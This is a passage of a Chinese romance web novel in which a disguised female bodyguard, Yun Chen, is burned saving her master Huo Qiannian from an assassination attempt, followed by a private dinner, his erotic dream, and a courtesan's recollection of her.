霍乾念眉头紧皱,忍不住问她:
“中了火箭矢之后,你为何不先拔箭,扑灭自己身上的火,非要先来报信?”
她嘴唇白如纸,“我拔了,但箭矢有倒钩,一时半会拔不掉,我就把箭折断了。”
他不禁拔高声音,也不知是气她还是气自己。
“那也要先扑火!救了你自己再来报信!”
她用一种奇怪的眼神看着他,仿佛他在说什么傻话。
生死杀斗往往弹指间,瞬息能**,也能救人,不容任何耽搁。
“我是护卫,当然以少主你的安危为第一,自然不能为了先救自己而耽误报信。”
她说得理所应当,叫他一腔情绪冲到嗓子眼,却涩得一个字都说不出来。
她勉强扯出个笑容:
“少主放心,皮肉之伤不打紧,我多吃两只兔子就好了。”
他神情动容,眼神逐渐黯然,叹了口气,刚抬手想去摸她的头,突然,一道利箭破空而来,尖啸着穿过层层护卫间隙,无比精准地刺向他太阳穴。
霍乾念眼睛分毫不移地望着云琛,身子一动不动,只眼神倏然阴冷,闪电般抬手,一把攥住飞来的箭矢,“咔嚓”狠狠攥断。
他那瞬间狠厉的模样,令云琛看得一呆。
众护卫纷纷作出杀斗姿态迎敌。
火圈之外的刺客却贼得很,光不停发射箭雨,却根本不露面。
大概是因为火圈已经烧到众人眉毛下面,刺客们这一波射来的箭矢,全部没有带火,只带着倒钩。
一时间,箭雨纷飞,护卫们扬刀抵挡,激起一片星火四溅。
断腿受伤的马儿们很快被扎成刺猬,哀嚎着断了气。
在这箭雨之中,总有几支箭是百分百瞄准霍乾念脑袋而来。
云琛挥动隐月剑抵挡,越挡越来气。
“云琛,莫心浮气躁,中了圈套。”霍乾念开口。
云琛点点头,忍住想要冲出去厮杀的冲动。
荀戓挥刀斩箭不停,也劝道:
“只要我们据守在这里,对方就拿我们没办法,公主那边很快会来人救援。一旦出去,反而容易被落单围杀。”
霍乾念看了荀戓一眼,赞赏地点了下头。
第56章 要不,别做护卫了吧
果然,不到一刻钟,南璃君身边的亲兵队循着黑烟和火光赶来。刺客们立即逃匿得无影无踪。
火圈迅速被扑灭,南璃君策马立在队列首位,秀眉紧拧,担忧地望着一圈马尸体之中,被烟熏得浑身黝黑的众人。
云琛从怀里掏出干净的帕子,递给霍乾念,后者一边擦拭面容,一边对着南璃君皮笑肉不笑:
“殿下恕罪,我烤兔子来着,火大了点儿。”
翠头山一场火攻刺杀,若成,便要了霍乾念的性命。霍乾念一死,霍帮群龙无首,自然倒台。
若不成,霍乾念最大的怀疑对象便是公主南璃君。
毕竟是南璃君邀他狩猎出游,毕竟是在南璃君亲兵防护严密的眼皮子底下行刺杀。
这样一来,南璃君与霍乾念之间,多少会生出些嫌隙猜忌,幕后主使便能成功达到“离间”的目的。
南璃君很清楚这里面的利害,想对霍乾念好好解释一番,可又觉得自己堂堂公主,不能低头伏小。
谁知霍乾念好像根本不在意这些,第一时间竟只问她讨药,他说:
“我霍帮护卫箭伤烧伤颇多,请公主赐些宫中灵药相助,烫伤药多多益善!”
南璃君焉有不允,甚至还调了宫中御医来看诊疗伤。
回到霍府。
护卫们都接受了诊治,只有云琛躲在她房间里,梗着脖子不让看,非说自己没事,给点药她自己涂涂就好。
要不是看她脸色苍白,一副随时都会晕倒的样子,花绝真想给她摁倒在御医跟前。
“你疯了?强撑什么!快把衣服脱了,让御医看看!”花绝命令。
不言亲自动手,上来帮云琛脱衣,“阿琛,烧伤不是开玩笑的,轻则留疤,重则伤口化脓感染,高烧不止,那是要危及性命的!不开玩笑!你快脱了,我帮你!”
云琛强忍着后背剧痛,一边躲开不言,一边强忍住不停袭来的眩晕感,努力不让自己晕倒。
她心里暗暗告诉自己:千万不能被发现女儿身,一定要撑住!
“阿琛,现在不是脸皮薄的时候,听话!”叶峮看不下去了,见怎么劝说都没用,只得搬出霍乾念。
看着云琛疼得汗如雨下却强自镇定的模样,霍乾念心都揪在了一起,急问一旁的御医:
“烧伤成这样,只怕无法脱衣,不如将后背烧伤处的衣物剪掉疗伤?”
御医赞同这个办法,云琛也开始犹豫,她心想,如果只看个后背,应该看不出男女。
这时,霍乾念又对叶峮几人开口,“你们都出去,别扰御医施诊。”
花绝不情愿地往外走,一边担忧地连连回望云琛,一边忍不住对停留在原地的霍乾念腹诽:
“怎么你留在这就不扰御医了……”
待叶峮几人出去,霍乾念也转动轮椅,退去了外间。
御医叫云琛反坐椅子,趴在椅背上,动作小心地剪开她背上的衣服,这才发现血水、脓水混合着烧焦的衣服碎片,已整个和后背皮肤粘连在一起。
御医都看得头皮一麻,颇为不忍:
“小兄弟,我要把衣服慢慢揭下来,刮净伤口上的碎屑和脓水,你且忍一忍,若痛,就大声叫出来。”
方才只是剪开衣服,牵连到伤口,云琛已疼得浑身打颤。
她点点头,强作出个坚强玩笑的样子,气息颤抖道:
“劳烦大人……给我拿个咬舌板,或者拿团布来咬着也行……我就不喊了……我家少主听不得……”
然而外间里,霍乾念一字一句都听得分明。
他听见云琛嘴里塞着布,强忍着巨大的痛苦,疼得发出尖锐的哭鸣。
他听见御医连连惊呼,喊着“快拿布巾!快拿止血药粉!”
他还听见御医叹气:“这射箭的人也太阴险了,看似射偏,实则准瞄上肋骨缝隙,一则伤及骨里,二则偏烧后背难医肉嫩处,实在狠,唉……”
到这里,霍乾念再也忍不住了,猛地转动轮椅,冲进里屋,一眼便瞧见云琛疼得浑身颤抖,死死咬着布团,小脸痛苦地皱成一团,挂满冷汗与泪痕。
云琛疼得头晕目眩,耳中全是“嗡嗡”轰鸣。
她并不知道霍乾念什么时候进来的,等她抬起头时,一片泪眼朦胧中,只见他眼眶发红,嘴唇紧抿成一条线,唇角竟在微微颤抖。
仿佛有比她此刻还要痛苦的水雾,就要从那双凤眸中汹涌而出。
云琛,要不,别做护卫了吧。
这话硬生生刹在他唇边。
似乎预感到他想要说什么,她努力扯出个比鬼还难看的笑
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容,声音虚弱发颤:
“少主,我又立了功,你赏我个东西吧……”
“好!”他没有任何迟疑地应下,“你想要什么都可以!我都可以!”
她睫毛湿漉漉地看着他,笑得惨兮兮,“我不知道……但少主一定得赏我个贵重的,赏个大的……”
这时,趁二人说话,御医迅速将一大片涂满草药的纱布盖上她伤口。
她话还没说完,就感觉后背猛烈钻心剧痛,接着便两眼一黑,晕**过去。
所以她不会知道,当天夜里,一直到三更,北柠堂的书房仍亮着灯火。
一个身影焦急得近乎要发疯,几乎将北柠堂翻了个底朝天。
霍乾念快速翻阅私库记薄,那些价值连城的东西都不堪他停留一眼。
他四处寻找日日佩戴的贴身要物,可腿伤之后,他便几乎不戴什么繁琐装饰,玉佩也不戴了。
翻找许久,他突然灵光一闪,想到一件合适的东西,急忙唤来润禾推他去找。
润禾撑着瞌睡,将霍乾念推到婉意风来阁。
推开院门,望着既熟悉又陌生的一草一木,霍乾念有些恍若隔世的感觉。
自母亲病故后,他越来越忙,越来越少踏足婉意风来阁。
尤其腿伤之后,他几乎再没有来过。
大概,是不想母亲的在天之灵,也为他如今的样子忧伤吧。
他缅怀片刻,而后一路来到寝屋。
里面仍然保持着母亲生前妆奁首饰的摆放样子。
他记得母亲临终前说过,这婉意风来阁的一切,将来都留给儿媳做一份聘妆。
他启开一个黄花梨木的梳妆盒,一方小屉里,静静地躺着两只圆润莹白的南珠。
母亲说过,这是要留给他的意中人做耳环的,还说什么一定要满星夜兰宝石作配,哑色赤金做珠扣,在成婚之日戴上,必如天仙夺目。
他想,如果母亲知道,他没有将这珍贵的南珠留给她未来的儿媳,而是送与了一个少年,母亲会不会生气?
他想对母亲解释:
那人值得南珠,值得婉意风来阁的所有宝贝,值得这世上的一切一切……
值得他不顾一切礼义廉耻,世俗禁忌,交出他的心。
“润禾,将珠子打成剑穗,给云琛吧。”
第57章 梁上君子
云琛想跪谢那个宫中御医。
说为了不碰及后背伤口,暂时忍一忍,叫其他人都盯着她点,别忙脱衣擦洗,就露着剪掉衣服的后背疗伤,直到伤口结痂为止最好。
她虽然光着半个后背,但露出来的皮肉全是烂糊一片,成天敷着草药布巾,看不出个什么男女。
她索性不再提心吊胆地强撑,直接趴在床上,任由自己疼得醒了晕,晕了醒。
高烧到迷迷糊糊之间,她知道有好些人来看过她。
每个人进来都是同一个流程:
喊两声“云琛?”试试她的反应,见她不应,便小心翼翼掀起她后背上草药布巾的一角,惊呼一声,掉几滴眼泪,而后关心几句再离开。
她每天都要忍着后背被掀,疼上好几次。
模糊之中,她好像还听见了小六的声音,看见一张比锅底还黢黑的糙脸。
和其他人生怕弄疼她,只掀起一角不同,小六一上来就“哗”地掀起大半个草药布巾,疼得她在半睡半醒中昏死过去。
她感觉如果大家少来看看她,她也许会好的更快些。
她听见小月儿又哭又骂,说霍阾玉担心得整夜睡不着;
她听见花绝偷偷地哭,叶峮进来的时候,花绝硬说是风寒着凉,鼻子不舒服;
她好像还听见不言仿佛超度一般地给她念经,从盘古开天辟地念到玉家**个擅长倒钩箭矢的神箭手。
据说是玉阳基花了七八年功夫,找到隐居几百年的古国后人,从中千里挑一重金聘请的一名神箭手,不知何故突然被人暗杀了,死相着实惨烈,吓得仵作都不敢去验尸。
最后,她听见一位“梁上君子”轻功如燕,悄悄落在她床边。
这是唯一一个没有去掀她后背草药布巾的人。
她感觉到来人只是静静地在床边伫立良久。
她睁开眼,正见颜十九盯着她后背,神情微怔。
“你怎么进来的?”
他反应慢了半拍,快速敛下所有情绪,露出招牌的阳光笑容。
他蹲在她面前,拿出一根糖葫芦,轻轻去碰她的唇,逗她:
“我来看你呀,我可可怜怜的小云儿,吃点甜的就不痛了。”
她脸色还是苍白,但比前几日有精神多了,拿过糖葫芦啃两口,趴在榻上有气无力地骂:
“你是真胆大包天,敢私自潜入霍府?”
他两手一摊,故作无奈,“没办法,你家少主太小气,我递了八次名帖要来探望你,都被他拒了。”
她斜眼,“你是生怕少主不误会我‘龙阳’,生怕我不被赶出霍府。”
他鼻子里鄙夷一哼,罕见地嘴快过脑子,意有所指道:
“谁是‘龙阳’还不一定呢,否则陈仓也不会**。”
“陈仓是谁?”她总觉得在哪里听过这俩字,好像是前几天半睡半醒中,听不言提到,说霍乾念前几天秘密安排了一场级别很高的刺杀行动,由霍帮最神秘的黑雀队执行了。
不言好奇得很,趁登记归档的时候悄悄瞧了一眼,行动代号叫啥“暗度陈仓”。
超度的那个“度”。
未等她细问,颜十九从怀里掏出个赤金色的瓷瓶,话锋一转道:
“这是秦艽玉颜脂,对新鲜烫伤最有效,我找人试过了,你用用,绝对不留疤痕。”
见她没什么惊喜的样子,他又道:
“这秦艽玉颜脂十金一瓶,若没有用,必然不会卖得贵,你试试呗,小姑娘可不能留疤。”
这会轮到她傲娇了,她用大拇指示意后背,又指指床下,“已经天天用着了。”
颜十九弯腰探头一看,床下密密麻麻堆满了赤金色瓷瓶,少说有四五十瓶。
她得意扬眉,“一瓶十金又咋的,我家少主才不是小气的人。”
他盯着那一床底的空瓷瓶,眼中快速划过一抹嫉色,复而又作出可怜兮兮的样子,委屈道:
“行吧,霍乾念大方,我小气行了吧?我小气到深更半夜偷摸翻宅院,冒着被抓**的风险,巴巴地来送药。”
虽然明知他是装的,但她还是忍不住心里一软,“行了行了,是我不好,好心当作驴肝肺,我给你赔罪。”
最后一句话刚说完,她就后悔了。
果然,只见他眼神一亮,一副“又叫我拿捏住你”的样子,坏笑问:
“赔罪好,我喜欢,怎么赔?”
她闭眼装死,“不知道,反正要命一条!”
他轻笑一声,抬手刮了下她的鼻子,未等她发脾气,他已脚下抹油,轻功离去了。
望着又重新变得空荡的房间,她擦擦鼻子,皱眉凝神许久,而后啃着糖葫芦自言自语:
“明日就把府中护卫防布图拿来仔细看看,一定要堵住能偷溜进府的漏洞。”
烧伤不比刀伤,好得极慢,云琛在床上趴了整整半个月才初愈。
荀戓因接连表现出色,荣升第五亲卫,暂时顶替了云琛的日常值守。
小六也从西北牧场调回烟城,做了云琛身边的跑腿护卫。
此外,云琛几乎每日都要听不言“情景再现”花绝欺负荀戓的事。
不言贱兮兮地鼓捣云琛:
“狗哥性子也太好了,不论花绝怎么当众骂人,下他面子,狗哥都赔着笑脸。你赶紧好起来,快去收拾花绝,打也好骂也好,要么逼着他扮女装去游街也行,哈哈哈哈我特想看他吃瘪,我觉得我能高兴半年哈哈哈哈——”
云琛道:“狗哥天生就是个没脾气的,花绝一个人闹不起来,放心。”
说归说,云琛知道花绝孩子心性,没坏心眼,但到底不忍荀戓低声下气地讨好,便叫小六搀着她去看看。
自武馆一别,已快两年,从前的小六瘦瘦小小,满身都是未长大的顽皮少年气。
如今快两年过去,经过大西北高山荒漠的磅礴,受过风雪和烈日的洗礼,加上几百头肥羊进肚,小六一下子变得又高又壮,皮肤晒得黝黑发亮。
原本云琛还比小六大一岁,以“哥”自居,如今站在小六身边,云琛只觉得自己像只瘦弱的鸡仔。
小六道:“云哥,我背着你去吧,听说狗哥那边快和花护卫打起来了!”
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云琛忍不住捏捏小六的脸,又看看自己白净的手指,她总觉得小六会掉颜色。
“小六,你现在这身量,还能缩骨进酒坛子吗?”
小六没心没肺,“能,就是缩的进,难出来,得有人帮忙才行。”
云琛仰头看着个子已比自己高一个头的小六,捏捏那骨骼壮实的肩膀,语重心长道:
“那就别缩了,回头出不来,你又要哭,你现在这个体型实在不适合哭。”
“嘿嘿,云哥,我早就不哭了,我可是大男人!绝不轻易落泪!”小六说着一把扛起云琛,往花绝和荀戓的地方走。
隔着老远,云琛看见护卫们日常练武的小场上,乌泱泱**了一大批人。
花绝趾高气扬地扬着下巴,从眼睛下方暼着荀戓。
荀戓在一旁微微弓腰,满脸讨好地笑着。
花绝不屑:“**没种!打不还手骂不还口!不知道少主怎么会看上你这个乡巴佬!”
“花护卫说的是,我一定尽力办差,争取不辱没少主英明。”荀戓说着走上前,深深弯下腰,拿袖子替花绝掸了掸靴子上的土。
云琛这才看见,花绝脚底下踩着荀戓那瘪瘪的旧钱袋子。
荀戓想去拿,却被花绝一脚踢开手,连带着踢了荀戓一脸土。
小六差点就要甩下云琛,冲上去干架。
云琛摁住小六肩膀,拔高嗓音,叫了声“花绝,狗哥”。
一见云琛来,众人都自觉散开,心下松了口气。
大家都觉得,有云琛在,今日这架必定打不起来。
见到云琛,花绝悻悻地收敛了些,但还是忍不住朝荀戓啐一口,骂道:“没骨头的东西!”
饶是被侮辱成这样,荀戓脸上仍和善地笑着:“不打紧,不打紧,花护卫也没说错。”
花绝冷哼一声,不再理会荀戓,紧走两步到云琛面前,急道:
“少主许你一个月的假,你就是好了,也趁此机会好好休息着!瞎跑什么呢?你伤的是后背,行走坐卧都会疼,走,我背你回去!”
“我都快趴成僵尸了,下来走走好得快。”云琛笑着说,并没有开始讲大道理劝架。
花绝不由分说地从小六手里“抢过”云琛,顺便狠狠瞪了小六一眼。
很明显,小六也成了花绝排斥敌对的对象。
小六先是愣了一下,而后明白过来,攥紧拳头瞪起眼,大黑脸上呲着一口白牙,一副快要发怒的样子。
荀戓见此,连忙上来揽住小六肩膀,哄道:
“花护卫要送阿琛回去,小六,你送我回去,我有话同你说。”
小六梗着脖子不动弹,只目光凶狠地瞪着花绝。
花绝冷笑一声,眼神中满是瞧不起,甚至连句话都不稀罕对小六说,便扶着云琛离去。
小六气得脸色黑红,脖子上青筋都暴了起来。
荀戓却好似完全不在意花绝的一切欺辱,只拾起钱袋子,拍拍上面的土,对小六道:
“小六,别冲动。左右都是阿琛的兄弟,别让他为难。”
小六咬着牙,不情愿地应下。
第58章 赶出府
待云琛彻底痊愈的时候,一件大事横在了所有人面前。
公主南璃君虽在烟城有别院,但不能久离京都皇宫。
南璃君要回京都,作为南璃君如今的心腹大商,霍乾念不应与南璃君相隔太远,最终同意了南璃君的提议,要将整个霍府迁往京都定居。
迁府搬家是大事,更何况是霍府这样的巨富大族。
新府邸选址、装饰打点,旧府邸整理行囊、封箱押运,选定前往京都的路线、提前踩点、一路落脚与警戒护卫,还有霍帮主要堂口的搬迁,泱泱一府人的同去还是留守……
一大堆事务,样样都得霍乾念定夺。
府中吵吵闹闹忙活了两个多月,直到深秋,草木都泛起青黄,所有事务才堪堪落定。
霍老太爷、霍阾玉、大部分府中侍女仆从和箱子,都已先行前往京都府邸,由叶峮和花绝领队,带领一千人手,沿途护卫打点。
烟城霍府这边,府中一下冷清下来。
云琛暂领了叶峮的大护卫统领之责,领着不言、荀戓等,操持起一干护卫事务。
云琛忙得脚不沾地,每日累得晕头转向。
到此刻,她才真真佩服起叶峮,脑子活远远比体力活要累得多。
瞧叶峮平时那从容不迫的样子,再对比她初次统领的手忙脚乱,实在不能相提并论。
好在霍乾念像是有用不完的耐心,不论云琛出了什么大小过失,他一概照单全收。
云琛不会的他就教,云琛捅娄子的他就善后,如此下来,府中倒也算太平。
霍乾念甚至还褒扬她,将府中护卫值守防布修订得极好,竟填补了一处从未有人发现过的漏洞。
为体恤她和护卫们连日辛苦,霍乾念说要起小宴进行犒劳,地点设在霍府**的湖畔水榭。
黄昏时分,云琛寻着长廊往水榭走。
如今府中人少,四处安静又空旷。
远远地,云琛看见暖橘纱红的夕阳下,湖水耀眼微漾,霍乾念一身玄衣,**在亭下。
余晖照着他的侧颜,勾勒出他俊峰的鼻梁。
他面容依旧是满满的掌权者才有的霸道冷峻,但那双凤眸的眼尾却又挑着一点晚霞的红,与眸中的冷色交织,叫这张绝世面容透出一种摄人心魄的俊美。
听见她的脚步声,他抬眼望来,嘴角勾起一抹浅笑。
她莫名心里一动,赶忙低头整理心绪。
他却只看见那妙人儿穿过长廊与重重飞舞的纱幔,大步流星地朝他而来。
她白皙的面容如秋月一般,泛着无瑕的冷白,那小鹿明净的眼中有着无所畏惧的少年气,却又在与他对视时生出两分羞怯。
只这么远远望一眼,便叫他心动难抑。
云琛走到霍乾念面前,习惯性地单膝下跪行礼,放下隐月剑,仰头看着他。
“少主,我来了。”
每一次她放下隐月剑,每一次他都能看见那满星夜兰宝石作配,哑色赤金线作穗的南珠剑穗。
不论她多远走过来,他都总是习惯性先看到剑穗,而后才心中一软一暖,看到那比南珠还莹白的玉容。
**为什么会这样,大概是因为心底那一丝不可言说的怯与耻吧。
他没想到,自己杀伐狠厉里来来去去,这辈子还能跟“怯”字沾个边。
“用饭吧,莫冷了。”他说。
她这才发现,原本以为会有很多护卫参加的小宴,竟只有她与他二人。
亭下只有一张小方桌,一个霍乾念,还有一个她,连随侍的润禾都不在。
“坐吧。”他又说,“其他人不赴宴,我叫润禾折了银子去赏。”
她顺从地在他对面坐下,刚想为他布菜,碗里却伸过来一个圆滚滚的饺子。
她惊讶地看向他,心说这是什么情况?她好像是第一次与他同桌吃饭,而且怎么是他在照顾她。
对上那静如湖水,没有一丝异常,甚至还有些温柔的脸,她小心地问:
“少主……你是要……赶我出府吗?”
霍乾念愣住,“何以此问?”
她松下一口气,放心地吃起来,“没啥,第一次和少主吃饭,少主还给我夹菜,有些受宠若惊——哇,饺子是鲅鱼馅儿的!”
他哑然失笑,“怎么,我平时对你很不
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好吗?叫你这样不习惯?”
她连忙摆手,咽下嘴里的饺子,“不不不,少主待我们极好,只是府中家规甚严,没有护卫能上桌吃饭的规矩,我好像是第一个。”
“我们?”他琢磨着这两个字,顿觉对她亏欠太多。
他的心意,总是要藏着掖着,赏给所有亲卫甚至护卫,方能惠及她。
除非她立功,否则他鲜少有理由独独去待她好。
可她的每一次立功,都伴着受伤流血,又叫他心痛不已。
“无妨,这里只有你我二人,规矩不重要。”他说着又为她夹菜。
大概是觉得由主子夹菜太过于礼不合,她放下筷子,拿起一只盐黄米焗虾给他剥。
她捏着虾身,轻巧地剥落虾壳,然后放入他碗中。
看着她剥虾的动作,他不禁眉头一跳,心里生出些奇怪的感觉。
从来都是由润禾和侍候的小厮为他剥虾,但他从来没见过谁在剥虾的时候,会微微翘着小指。
那仿佛是女子才有的动作,因为女子总是要比男子更爱惜干净些,剥虾的时候会怕弄脏手。
这些念头从他脑海一闪而过,再去看她吃饭的样子,他竟觉得她更像女子了。
平时她都是混在叶峮几人里面,围在小桌上你争我抢,风卷残云地“抢饭”,倒看不出什么。
眼下单单去看她,他才发现她吃饭很干净,吃得极香,却不狼吞虎咽,好看又斯文。
停止继续猜想,他专心与她一同用饭。
“少主,辣炒牛髓好吃,你尝尝。”
“好。”
“少主,煸小肠也好吃,一点都不腥,但我记得少主不爱吃杂碎,怎么今天上了这道菜?”
“无妨,你爱吃,多吃些。”
“嗯!”她欢快地应一声,一不小心咬到舌头,疼得她轻轻地“啊”了一声,捂着嘴巴,直拧眉头。
“慢点吃,像个孩子似的。”他从怀里掏出帕子,“过来些,我看看怎么样了。”
她疼得眼里泛泪,身子前倾,微微张唇,露出粉嫩的舌尖。
上面破了个小口,冒着暗红色的血。
第59章 天灯与梦
云琛就那么倾身过来,眼泪汪汪地看着他,微微张唇,露出冒着血珠的粉嫩舌尖。
这一幕何其撩人心魂。
霍乾念努力稳住心神,一手轻抬她下巴,另一只手用指尖缠一截手帕,伸进她微张的口中,滑过柔软的唇,触向舌尖流血处。
她想说“不打紧”,嘴唇稍微一动,不小心含住了他的手指。
他触电似的抽回手,轻轻咳嗽一声,掩饰声音里的异样:
“别吃辣了,喝点菇子汤润润。”
她全然没注意到自己又撩拨了什么,仍旧大大咧咧地吃饱喝足,压根不知他心里在怎么翻江倒海。
余晖渐渐消散,晚风柔和地吹来。
一顿“心猿意马”的饭终于吃完。
润禾搬来茶桌,为二人沏好茶,放好点心,而后点亮亭下数盏灯笼,又乖觉退下。
临走的时候,润禾将披风递给云琛,嘱咐她为霍乾念披上。
她听话照做,两手圈起,为他披好披风。
在她低头系披风颈带的时候,他突然鬼使神差地抬手,摸上了她的脸。
作为护卫,自然不会对自家主子设防,她没有躲,亦没有杂念,近在咫尺地看着他,目光透出疑问。
他一边心里大力拉扯着自己,叫嚣着“别发疯”,一边却在面上露出个如常平淡的神情。
“一颗米粒,我帮你拿掉了。”
手旋即离开那软软的、嫩嫩的脸颊。
他将手收回袖中,不自觉地轻轻捻动手指。
她脸微微红起,不好意思地笑笑。
坐回茶桌前的时候,她心里突然飘过一句疑问:
“今晚的主食不是饺子吗,哪来的米?”
这点疑惑快速飘过,她不甚在意,只望着夜色渐深的湖水,看着那星星点点亮起的灯火,惊喜道:
“少主,湖上有人在放天灯,好漂亮。”
他望向湖面,大大小小的天灯亮着暖色烛火,错落着缓缓升空。
夜色下,墨色的湖水连天,天色连水,天灯温暖点缀其中,像一片宁静又温暖的星辰。
“今夜是月圆之夜,临近中秋,是要放灯祈福的。走,我们去看看——”
她推着他走到水榭最靠近湖边的位置,蹲坐在他身边。
她的发顶就在他手边,近到他只要一伸胳膊,就能将她揽入怀中,亲亲她的发顶。
他静静地看着她出神,她却只顾指着对面湖畔,惊奇叫道:
“少主,你看!”
顺着她手指的方向看去,对面湖畔也**着三两看天灯的人群。
一个人也同霍乾念一样,坐在椅子上,只不过身边蹲坐着一只大**。
云琛与那大**遥遥对视,云琛挥了挥手,那**竟也抬起狗爪晃了晃。
“哈哈……”霍乾念忍不住笑出声。
她立马被他那俊朗的笑容迷得挪不开眼,脸上飞起两团红晕。
“少主,你笑起来真好看。”
他唇边笑意不减,“是吗?”
她点点头,“少主要多笑笑,少皱眉头,少生气,方能长命百岁。”
他失笑,“百岁?那可太难了。”
“不难!”她神色认真,“霍帮永远会有护卫,永远有人护着少主。纵使我们**,也一定有新一代的护卫接替。必定能护少主长命百岁,平平安安。”
她眼眸澄澈,没有一丝奉承,只有专属于一个少年护卫的忠贞与责任。
他心中感动,忽而又空落,发慌……
她似乎将她这个“护卫”,与他这个“少主”分得极其清楚,泾渭分明似的两个世界。
“云琛,这‘以命相护’,是对霍帮少主,还是对我?”他简直不敢相信,能从他堂堂霍乾念口中问出这么矫情的话。
可他真的想知道答案,想得快要发疯。
她迷茫地看着他,十分为难地说:
“少主,我不太懂你在说什么……霍帮少主除了你,还有别人吗?”
他一腔期待落空,叹口气,心道:
云琛啊云琛,你明明那么懂我,明明那么灵光,可又偏偏没开“情窦”这一窍……也好,也好……
“罢了,看夜景吧,你瞧,放最大的天灯了。”
湖面上缓缓升起一座宽阔巨大的大红色天灯,挂满了祈福的飘带,看着十分壮观。
她站起身,展开双臂,用力地呼吸,伸了个惬意的懒腰。
自从暂代叶峮大护卫统领之责后,霍乾念性命安危的重担就好像落在了她一个人身上。
她精神时刻紧绷着,日日高度紧张,直到今夜这场小宴才难得放松。
“少主,有一只天灯飘过来了。”她围岸边跑来跑去,期待地看着一只落水的天灯缓缓靠近。
霍乾念并没有直接去看她,反而被水中她的倒影所吸引。
湖水像黑夜般无尽,朦胧昏黄的灯火轻轻颤抖,她雀跃其中的身影好似幻象般不真切,像极了一只撒欢的小狗。
她伸长胳膊,用隐月剑勾起小天灯,抖抖上面的水,捋平祈福的飘带,上面写着:
花不尽,月无穷,两心同。
她想念与霍乾念听,打趣这一定是哪个有情人写给意中人的,却一转过身,刚刚放松的心弦,立马全部紧绷起来。
只见霍乾念笑望着她,全然不知那巨大的红色天灯已悄悄靠近他身后,灼灼焰火和巨大的铁笼,已将他整个人全部笼罩。
在霍乾念的视线里,只看到原本笑着的云琛突然脸色大变,猛地扔下小天灯,不顾一切地朝他飞奔而来。
她眼神无畏又决绝,一把扑倒他护在身下,紧紧地抱住他。
在焰火燃烧的呼呼声中,他清晰地听见她说:
“少主!别怕!”
他只看见那大红色倾覆笼罩,整个世界霎时变得明媚通红。
好在天灯轻飘,那火焰擦着她的后背,落在地上,很快就熄灭了。
就连她以为的支撑天灯的“铁笼”,也只是韧竹编制的而已。
当不言和荀戓冲过来扶起二人时,云琛明显更紧张,霍乾念却十分镇定,只是目光异样星亮。
荀戓甚至注意到,霍乾念不着痕迹地将手从云琛后腰移开,那画面着实……有点奇怪的暧昧。
“莫再伤了后背。”霍乾念这么说,神色如常,没有什么波澜。
听了这句话,荀
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戓心里那点奇怪立马消失得无影无踪。
一顿晚饭,就这样兵荒马乱地在乌龙中结束。
深夜时。
北柠堂寝屋中,霍乾念独榻而眠。
月朦胧,人入梦。
他看见那铺天盖地的红迎面扑来,中央是明净绽放的白。
云琛小鹿眼水汪汪地看着他,长发未束,如墨披下,恰如其分地垂遮住身体。
她的脸那样清晰,平直白皙的锁骨之下,却又一团模糊,看不清身子。
她一步步朝他走来,缓缓俯身,微张开柔软的唇,露出粉嫩的舌头。
慢慢湿润一寸又一寸。
青丝拂上她的面,柔软覆上他的唇。
他握住那不堪一握的腰肢,再也无法克制和隐忍,沉沦进那绵延的白,吮吸那滴落的红。
白与红纠缠交融,难舍难分。
世俗闭上了眼,宗庙熄灭了烛,万物关上耳朵,所有禁锢皆成虚妄。
再无需一丝一毫的顾忌,只有无穷尽地深陷云端,深陷,再深陷……
鸡鸣天亮,一夜梦长。
润禾照旧伺候着霍乾念晨起,麻利地更换浸湿的被褥,拿去后房搓洗晾晒。
忙活完,润禾忧心忡忡地往回走,正巧看见云琛在门口值守。
思索许久,润禾将云琛拉至一旁,悄声道:
“云护卫,有个事挺久了,我对叶护卫说不出口,大概是因为叶护卫年纪大我太多,我实在不好说。我觉得这事说给你听有用,只有你能替少主解决了。”
云琛一头雾水,“真是听君一席话,如听一席话,润禾,你是拜师不言了嘛?说了半天,我一个字都没听懂。”
润禾鬼鬼祟祟地朝四周看了一圈,见无人靠近,他压低声音道:
“唉,以前少主大约小半年才跑马一次,最近也不知怎么了,一月竟有跑马三两次,我也没见少主看上哪家姑娘,怎么就越来越频繁了呢?今日床铺又是湿了好大一片,唉,少主年轻力壮,君火相动是自然,但继续这样下去,恐伤根本。我向少主提议过收个通房,少主不肯,还冷了我一顿,云护卫,你想想办法吧!”
云琛听得云里雾里,不解发问:
“跑马?少主什么时候骑马出去了?骑马出去找哪家姑娘?还动用了**?‘通房’又是谁?”
这会轮到润禾哑口无言、脑子浆糊了,他目光打量云琛胯下,同情叹气:
“云护卫,我没想到你都快十八了,还没有发育,也是,一般也没有人像少主那般力壮火旺。”
见云琛还是一知半解,润禾索性挑明了说:
“云护卫,我听说了,护卫们一休假就去百香楼或者红坊小巷找姑娘,就你不找,但是你得理解,少主这么多年全靠清心莲子汤和自制力忍着,实在辛苦,我看不下去了,你想想法子,给少主找个姑娘泻泻火吧!”
云琛这下彻底听明白了,嘴上连连答应,润禾一转头,她脸立马红到脖子根。
进寝屋去见霍乾念的时候,她甚至都不敢抬头看他。
正因为如此,她便没有发现,今日的霍乾念也是低眉垂眸,完全不敢看她一眼。
第60章 没有男人不喜欢这招
送走今日第六位客人,丹蔻擦洗完身子,回到床上躺下,疲惫地捶了捶腰,自言自语道:
“累**,嗓子比腰还累,我简直比那戏子都会演。”
她从床头成摞的画册里挑挑拣拣,选出一本书页最新的,开始一页页认真翻看。
一边看,一边跟着画中人学习动作。
对于红坊的姑娘来说,**就是教义,研习教义是一个烟花女子的本分。
丹蔻很有敬业精神,所以她才能在红坊小巷里客满盈门,赚得最多。
只要进了她丹蔻的屋门,就没有她拿不下的男人。
想到这里,她放下画册,回忆起那个身量清瘦的“少年”武师。
那是她唯一没有拿下过的“男人”。
红坊的姑娘们都是各自接客,没有百香楼的门面和老妈子撑场子,自然身价没有那么贵,往来的也不是什么贵客,大多数都是大腹便便的油腻男人。
所以像那“少年”武师般干干净净的小白脸,丹蔻当然过目不忘。
她记得那年轻平直的肩膀,那利落的身手,还有那双泉水一样干净的眼睛。
别的男人进了这屋门,几乎都是边走边脱,恨不能立马上巫山一日游。
只有那“少年”武师来了,从头到脚穿得整整齐齐,一进门就坐下,开始问她:
“丹蔻姑娘,你有什么梦想?”
“丹蔻姑娘,我银钱照付,请你陪我说说话。”
“丹蔻姑娘,你瞧我新买的剑,我给你耍两招吧?”
一开始,丹蔻觉得很稀奇,任凭她如何使出浑身解数勾引,都无济于事,还以为碰上了什么爱好特殊的变态。
而且每每听到左右隔壁传来男女欢好声时,“少年”武师都会整个人局促不安脸红起来。
